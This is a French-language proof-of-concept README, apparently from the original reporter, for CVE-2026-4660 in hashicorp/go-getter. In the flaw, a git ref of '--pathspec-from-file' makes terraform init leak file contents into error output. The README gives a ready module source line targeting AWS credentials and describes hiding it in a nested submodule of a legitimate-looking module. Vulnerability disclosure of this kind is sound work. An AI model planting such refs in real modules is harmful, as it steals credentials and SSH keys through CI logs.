
PoC pour CVE-2026-4660 : lecture arbitraire de fichiers via git checkout dans hashicorp/go-getter
Preuve de concept pour CVE-2026-4660 (avis HashiCorp) dans hashicorp/go-getter. Je suis le rapporteur d'origine.
Un attaquant publie un module Terraform avec un ref de --pathspec-from-file=/chemin/vers/fichier. Lorsque la victime exécute terraform init, go-getter clone le dépôt et appelle git checkout --pathspec-from-file=/chemin/vers/fichier. Git lit le fichier cible ligne par ligne, échoue sur chaque ligne en tant que pathspec, et divulgue le contenu dans sa sortie d'erreur. Le ref malveillant se trouve dans la source du module de l'attaquant, pas dans la configuration de la victime. terraform init échoue avec une erreur de téléchargement de module ; les valeurs des identifiants apparaissent intégrées dans les erreurs de pathspec git dans la sortie. Aucun apply n'est nécessaire.
La vulnérabilité existe dans deux chemins de code de la bibliothèque go-getter. clone() est utilisé lorsque le répertoire de destination est absent ; update() est utilisé lorsqu'il existe. Les deux appellent le même checkout(). clone() diffère os.RemoveAll(dst) en cas d'erreur ; update() ne le fait pas, donc le répertoire survit à l'échec du checkout.
L'installateur de modules de Terraform (initwd/module_install.go:251) appelle toujours os.RemoveAll sur la destination avant d'invoquer go-getter, donc Terraform déclenche toujours clone(). Packer, Nomad, et tout outil appelant l'API de go-getter directement sur un répertoire préexistant déclencheront update() à la place. La preuve de concept démontre les deux chemins.
Affecte tous les outils utilisant go-getter : exemples incluant Terraform, Nomad, Packer, Waypoint.
Corrigé dans : go-getter v1.8.6 (aucune version de Terraform n'intègre encore le correctif au 10/04/2026) Sévérité : 7.5 Élevée (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
L'attaquant publie un module Terraform d'apparence légitime sur GitHub, par exemple un module AWS VPC avec du code réel et fonctionnel. Cachée à l'intérieur, une source de sous-module pointe vers un second dépôt contrôlé par l'attaquant avec le ref malveillant :
# à l'intérieur du module de l'attaquant ; la victime ne lit jamais ce fichier
module "internal" {
source = "git::https://github.com/attacker/tf-internal.git?ref=--pathspec-from-file=/home/runner/.aws/credentials"
}
La victime ajoute le module de premier niveau à sa configuration :
module "vpc" {
source = "git::https://github.com/attacker/tf-aws-vpc.git"
}
Elle exécute terraform init, localement ou dans un CI. go-getter clone le module de premier niveau, trouve le sous-module imbriqué, le clone également, et appelle git checkout --pathspec-from-file=/home/runner/.aws/credentials. Git lit le fichier et le contenu apparaît dans la sortie d'erreur de terraform :
│ Error: Failed to download module
│
│ error: pathspec 'aws_access_key_id = AKIAIOSFODNN7EXAMPLE' did not match any file(s) known to git
│ error: pathspec 'aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY' did not match any file(s) known to git
Remarque : [default] est supprimé par le rendu colorstring de terraform même avec -no-color (interprété comme un jeton de réinitialisation de style) et apparaît comme un pathspec vide '' dans la sortie réelle. La sortie brute de git checkout dans la preuve de concept montre le contenu non altéré.
L'attaque n'est pas limitée aux fichiers d'identifiants. Tout fichier lisible par le processus est une cible : /etc/passwd, fichiers de jetons CI, configurations d'applications, tout ce qui est accessible depuis le runner. La preuve de concept démontre ~/.aws/credentials, ~/.ssh/id_rsa, et /etc/passwd.
Dans GitHub Actions, CircleCI, ou tout système CI qui journalise la sortie de terraform init, ces journaux sont lisibles par toute personne ayant accès au dépôt, et souvent exportés vers une agrégation de journaux (Datadog, Splunk, etc.) sans expiration. Les identifiants AWS de la victime, ses clés SSH, ou tout autre fichier lisible par le runner se retrouvent dans l'historique des journaux. La victime voit un build échoué ; les valeurs des identifiants sont enfouies dans ce qui ressemble à une erreur git.
docker compose up --build
Deux conteneurs : gitserver sert les dépôts git nus de l'attaquant via HTTP, poc s'exécute en tant qu'utilisateur runner avec de faux identifiants dans ~/.aws/credentials, ~/.ssh/id_rsa, et un /etc/passwd lisible. La phase 1 exécute terraform init et démontre le chemin clone() ; une vérification sentinelle confirme que les répertoires de modules sont supprimés par le RemoveAll différé de clone() en cas d'échec. La phase 2 exerce directement la séquence d'appels update() de go-getter (fetch + checkout) pour montrer que la même vulnérabilité checkout() se déclenche et que le répertoire survit, conformément à l'absence de différé RemoveAll dans update(). Aucune interaction nécessaire.